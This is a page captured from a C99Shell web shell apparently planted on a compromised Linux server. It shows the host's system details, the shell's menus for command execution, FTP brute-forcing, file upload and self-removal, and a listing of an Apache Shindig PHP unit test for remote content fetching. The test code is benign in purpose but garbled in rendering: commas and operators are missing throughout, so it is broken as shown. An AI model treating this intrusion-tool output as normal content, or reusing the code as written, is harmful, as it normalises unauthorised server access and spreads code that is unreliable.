!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/shindig/test/common/   drwxr-xr-x
Free 14.48 GB of 61.93 GB (23.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BasicRemoteContentTest.php (13.68 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the License is distributed on an
 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
 * KIND, either express or implied.  See the License for the
 * specific language governing permissions and limitations
 * under the License.
 */

require_once 'src/common/sample/BasicRemoteContent.php';

require_once 
'external/PHPUnit/Framework/TestCase.php';

class 
MockSigningFetcherFactory {
  private 
$keyName;
  private 
$privateKey;

  
/**
   * Produces a signing fetcher that will sign requests and delegate actual
   * network retrieval to the {@code networkFetcher}
   *
   * @param RemoteContentFetcher $networkFetcher The fetcher that will be doing actual work.
   * @return SigningFetcher
   * @throws GadgetException
   */
  
public function getSigningFetcher(RemoteContentFetcher $networkFetcher) {
    return 
SigningFetcher::makeFromB64PrivateKey($networkFetcher$this->keyName$this->privateKey);
  }

  
/**
   * @here will create a private key.
   */
  
public function __construct() {
    
$privkey openssl_pkey_new();
    
$phrase Config::get('private_key_phrase') != '' ? (Config::get('private_key_phrase')) : null;
    
openssl_pkey_export($privkey$rsa_private_key$phrase);
    
    if (! 
$rsa_private_key = @openssl_pkey_get_private($rsa_private_key$phrase)) {
      throw new 
Exception("Could not create the key");
    }
    
$this->privateKey $rsa_private_key;
    
$this->keyName 'http://' $_SERVER["HTTP_HOST"] . Config::get('web_prefix') . '/public.cer';
  }
}

class 
MockRemoteContentFetcher extends RemoteContentFetcher {
  private 
$expectedRequest = array();

  private 
$expectedMultiRequest = array();

  private 
$actualRequest = array();

  private 
$actualMultiRequest = array();
  
  private 
$valid = array(truetruetruetrue);

  public function 
fetchRequest(RemoteContentRequest $request) {
    
$this->actualRequest[] = $request;
    
$this->fetch($request);
    return 
$request;
  }

  public function 
multiFetchRequest(Array $requests) {
    
$this->actualMultiRequest[] = $requests;
    foreach (
$requests as $request) {
      
$this->fetch($request);
    }
    return 
$requests;
  }

  public function 
expectFetchRequest(RemoteContentRequest $request) {
    
$this->expectedRequest[] = $request;
  }

  public function 
expectMultiFetchRequest(Array $requests) {
    
$this->expectedMultiRequest[] = $requests;
  }

  public function 
verify() {
    
$result = ($this->expectedRequest == $this->actualRequest) &&
              (
$this->expectedMultiRequest == $this->actualMultiRequest);
    
$this->clean();
    return 
$result;
  }

  public function 
clean() {
    
$this->actualRequest = array();
    
$this->actualMultiRequest = array();
    
$this->expectedRequest = array();
    
$this->expectedMultiRequest = array();
  }

  private function 
fetch(RemoteContentRequest $request) {
    if (
$request->getUrl() == 'http://test.chabotc.com/ok.html') {
      
$request->setHttpCode(200);
      
$request->setContentType('text/html; charset=UTF-8');
      
$request->setResponseContent('OK');
    } else if (
$request->getUrl() == 'http://test.chabotc.com/fail.html') {
      
$request->setHttpCode(404);
    } else if (
preg_match('/http:\/\/test\.chabotc\.com\/valid(\d)\.html/',
                          
$request->getUrl(), $matches) > 0) {
      if (
$this->valid[intval($matches[1])]) {
        
$this->valid[intval($matches[1])] = false;
        
$request->setHttpCode(200);
        
$request->setContentType('text/html; charset=UTF-8');
        
$request->setResponseContent('OK');
      } else {
        
$request->setHttpCode(404);
      }
    } else if (
strpos($request->getUrl(), 'http://test.chabotc.com/signing.html') == 0) {
      
$url parse_url($request->getUrl());
      
$query = array();
      
parse_str($url['query'], $query);
      
$request->setHttpCode(200);
      
$request->setContentType('text/html; charset=UTF-8');
      if (
$query['xoauth_signature_publickey'] && $query['oauth_signature']) {
        
$request->setResponseContent('OK');
      } else {
        
$request->setResponseContent('FAILED');
      }
    }
  }
}

/**
 * BasicRemoteContent test case.
 */
class BasicRemoteContentTest extends PHPUnit_Framework_TestCase {

  
/**
   * @var BasicRemoteContent
   */
  
private $basicRemoteContent null;

  
/**
   * @var MockRemoteContentFetcher
   */
  
private $fetcher null;

  
/**
   * Prepares the environment before running a test.
   */
  
protected function setUp() {
    
parent::setUp();
    
$this->fetcher = new MockRemoteContentFetcher();
    
$signingFetcherFactory = new MockSigningFetcherFactory();
    
$this->basicRemoteContent = new BasicRemoteContent($this->fetcher$signingFetcherFactory, new BasicSecurityTokenDecoder());
  }

  
/**
   * Cleans up the environment after running a test.
   */
  
protected function tearDown() {
    
$this->basicRemoteContent null;
    
$this->fetcher null;
    
parent::tearDown();
  }
  
  
/**
   * Tests BasicRemoteContent->__construct()
   */
  
public function testConstruct() {
    
$basic = new BasicRemoteContent(new BasicRemoteContentFetcher(), nullfalse);
    
$signing = new BasicRemoteContent(new BasicRemoteContentFetcher(), new SigningFetcherFactory(), new BasicSecurityTokenDecoder());
  }

  
/**
   * Tests BasicRemoteContent->fetch()
   */
  
public function testFetch() {
    
$request = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$ret $this->basicRemoteContent->fetch($request);
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));
  }

  
/**
   * Tests BasicRemoteContent->fetch() 404 response
   */
  
public function testFetch404() {
    
$request = new RemoteContentRequest('http://test.chabotc.com/fail.html');
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->assertEquals('404'$ret->getHttpCode());
  }
  
  
/**
   * Tests BasicRemoteContent->fetch() with different response
   */
  
public function testFetchValid() {
    
$this->fetcher->clean();
    
$request = new RemoteContentRequest('http://test.chabotc.com/valid0.html');
    
$this->basicRemoteContent->invalidate($request);
    
$this->fetcher->expectFetchRequest($request);
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->assertTrue($this->fetcher->verify());
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));
    
    
$request = new RemoteContentRequest('http://test.chabotc.com/valid0.html');
    
$this->basicRemoteContent->invalidate($request);
    
$this->fetcher->expectFetchRequest($request);
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->assertTrue($this->fetcher->verify());
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));
  }
  
  
/**
   * Tests BasicRemoteContent->multiFetch() with different response
   */
  
public function testmultiFetchValid() {
    
$this->fetcher->clean();
    
$requests = array();
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid1.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid2.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid3.html');
    
$this->basicRemoteContent->invalidate($requests[0]);
    
$this->basicRemoteContent->invalidate($requests[1]);
    
$this->basicRemoteContent->invalidate($requests[2]);
    
$this->fetcher->expectMultiFetchRequest($requests);
    
$rets $this->basicRemoteContent->multiFetch($requests);
    
$this->assertTrue($this->fetcher->verify());
    
$content_0 $rets[0]->getResponseContent();
    
$content_1 $rets[1]->getResponseContent();
    
$content_2 $rets[2]->getResponseContent();
    
$this->assertEquals("OK"trim($content_0));
    
$this->assertEquals("OK"trim($content_1));
    
$this->assertEquals("OK"trim($content_2));
    
$this->assertEquals('200'$rets[0]->getHttpCode());
    
$this->assertEquals('200'$rets[1]->getHttpCode());
    
$this->assertEquals('200'$rets[2]->getHttpCode());
    
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid1.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid2.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/valid3.html');
    
$this->basicRemoteContent->invalidate($requests[0]);
    
$this->basicRemoteContent->invalidate($requests[1]);
    
$this->basicRemoteContent->invalidate($requests[2]);
    
$this->fetcher->expectMultiFetchRequest($requests);
    
$rets $this->basicRemoteContent->multiFetch($requests);
    
$this->assertTrue($this->fetcher->verify());
    
$content_0 $rets[0]->getResponseContent();
    
$content_1 $rets[1]->getResponseContent();
    
$content_2 $rets[2]->getResponseContent();
    
$this->assertEquals("OK"trim($content_0));
    
$this->assertEquals("OK"trim($content_1));
    
$this->assertEquals("OK"trim($content_2));
    
$this->assertEquals('200'$rets[0]->getHttpCode());
    
$this->assertEquals('200'$rets[1]->getHttpCode());
    
$this->assertEquals('200'$rets[2]->getHttpCode());
  }

  
/**
   * Tests BasicRemoteContent->fetch() 200, 200 and 200 responses
   */
  
public function testMultiFetch() {
    
$requests = array();
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/ok.html');

    
$rets $this->basicRemoteContent->multiFetch($requests);
    
$content_0 $rets[0]->getResponseContent();
    
$content_1 $rets[1]->getResponseContent();
    
$content_2 $rets[2]->getResponseContent();
    
$this->assertEquals("OK"trim($content_0));
    
$this->assertEquals("OK"trim($content_1));
    
$this->assertEquals("OK"trim($content_2));
    
$this->assertEquals('200'$rets[0]->getHttpCode());
    
$this->assertEquals('200'$rets[1]->getHttpCode());
    
$this->assertEquals('200'$rets[2]->getHttpCode());
  }

  
/**
   * Tests BasicRemoteContent->Multifetch() 200, 200 and 404 responses
   */
  
public function testMultiFetchMix() {
    
$requests = array();
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/fail.html');

    
$rets $this->basicRemoteContent->multiFetch($requests);
    
$content_0 $rets[0]->getResponseContent();
    
$content_1 $rets[1]->getResponseContent();
    
$this->assertEquals("OK"trim($content_0));
    
$this->assertEquals("OK"trim($content_1));
    
$this->assertEquals('200'$rets[0]->getHttpCode());
    
$this->assertEquals('200'$rets[1]->getHttpCode());
    
$this->assertEquals('404'$rets[2]->getHttpCode());
  }

  
/**
   * Tests BasicRemoteContent->Multifetch() 404, 404 and 404 responses
   */
  
public function testMultiFetch404() {
    
$requests = array();
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/fail.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/fail.html');
    
$requests[] = new RemoteContentRequest('http://test.chabotc.com/fail.html');
    
$rets $this->basicRemoteContent->multiFetch($requests);
    
$this->assertEquals('404'$rets[0]->getHttpCode());
    
$this->assertEquals('404'$rets[1]->getHttpCode());
    
$this->assertEquals('404'$rets[2]->getHttpCode());
  }

  
/**
   * Tests BasicRemoteContent->invalidate()
   */
  
public function testInvalidate() {
    
// Fetches url for the first time.
    
$request = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->fetcher->clean();
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));

    
// Fetches url again and $this->fetcher->fetchRequest will not be called.
    
$request = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->assertTrue($this->fetcher->verify());
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));

    
// Invalidates cache and fetches url.
    // $this->fetcher->fetchRequest will be called.
    
$request = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$this->fetcher->expectFetchRequest($request);
    
$this->basicRemoteContent->invalidate($request);
    
$ret $this->basicRemoteContent->fetch($request);
    
$this->assertTrue($this->fetcher->verify());
    
$content $ret->getResponseContent();
    
$this->assertEquals("OK"trim($content));
  }
  
  
/**
   * Tests through SigningFetcher
   */
  
public function testSigningFetch() {
    
$request1 = new RemoteContentRequest('http://test.chabotc.com/signing.html');
    
$token BasicSecurityToken::createFromValues('owner''viewer''app''domain''appUrl''1''default');
    
$request1->setToken($token);
    
$request1->setAuthType(RemoteContentRequest::$AUTH_SIGNED);
    
$request2 = new RemoteContentRequest('http://test.chabotc.com/ok.html');
    
$this->basicRemoteContent->invalidate($request1);
    
$this->basicRemoteContent->invalidate($request2);
    
$requests = array($request1$request2);
    
$this->basicRemoteContent->multiFetch($requests);
    
$content $request1->getResponseContent();
    
$this->assertEquals("OK"trim($content));
    
$content $request2->getResponseContent();
    
$this->assertEquals("OK"trim($content));
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.3822 ]--